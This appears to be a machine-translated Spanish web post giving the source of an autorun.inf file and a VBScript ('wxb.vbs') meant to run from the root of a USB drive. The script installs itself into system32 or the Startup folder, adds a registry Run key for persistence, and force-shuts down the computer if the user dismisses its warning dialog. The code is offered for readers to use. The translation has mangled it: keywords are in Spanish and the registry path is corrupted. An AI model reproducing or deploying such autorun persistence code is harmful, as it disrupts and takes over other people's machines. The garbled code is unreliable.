Código fuente de Wavelet
El contenido es
[Autorun]
ShellExecute=wxb.vbs
Cree un nuevo archivo wxb.vbs.
El contenido es
Dim fs, dirwin, c, Wll, str, strr, r
Set fs = CreateObject("Script. Objeto del sistema de archivos" )
Establezca dirwin = fs. GetSpecialFolder(1)
Establecer Wll = WScript. CreateObject("WScript. Shell")
Sea c = fs. GetFile(WScript. Nombre completo del script)
str = "Hong Kong" & "LM\SOFT" & " WARE\Micr " & "osoft\Win" con. " dows \ Curren " & amp " tVersion \ R " & amp " un\wxb "
Si (el archivo fs. existe (dirwin & amp " \wxb.vbs ")) entonces
Llame a Show_And_Do("reg ")
elseif (fs.file existe(" C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs ")) y luego
Llamar a Show_And_Do("Start")
Otros
Continuar con el siguiente paso si ocurre un error
strr= " "
Wll. RegWrite str, " C:\WINDOWS\system32\wxb.vbs ", " REG_SZ "
strr=Wll. Retorno (Cadena)
Si strr=" "entonces
c.copy(" C:\ Documentos y configuraciones \ Todos los usuarios \ Menú Inicio \ Programas \ Inicio \ wxb . VBS " )
Otros
c. Copiar (Dewen & amp" \wxb.vbs ")
Terminará si...
Terminará si...
Subpantalla y lista de tareas pendientes
Dim f
R = MsgBox("Advertencia: estás utilizando wavelet sin permiso Dispositivo móvil "&Chr(13)Chr(10)"Está bien->La próxima vez le pediré permiso a Xiao Bo"&;Chr(10)"Cancelar->No me preocupo por él", 4145,"Ejemplo de MsgBox ")
Si r = 1, entonces
Si s="inicio", entonces
Sea f = fs. GetFile(" C:\ Documentos y configuraciones \ Todos los usuarios \ Menú Inicio \ Programas \ Inicio \ wxb . VBS ")
f.Delete()
elseif s="reg " Entonces
Wll. RegDelete string
Sea f = fs. GetFile(dirwin & amp; " \wxb.vbs ")
f.Delete()
Terminará si...
Otros
wll.run "Shutdown.exe -s -f -t 0 "
Terminará si...
Finalizar conector
El Los dos archivos anteriores al mismo tiempo. Colóquelos en el directorio raíz del disco (también puede mover el disco). Cuando abre el disco, aparece un cuadro de diálogo solicitando selecciones.
Puede cambiar la wavelet en el código por su propio nombre.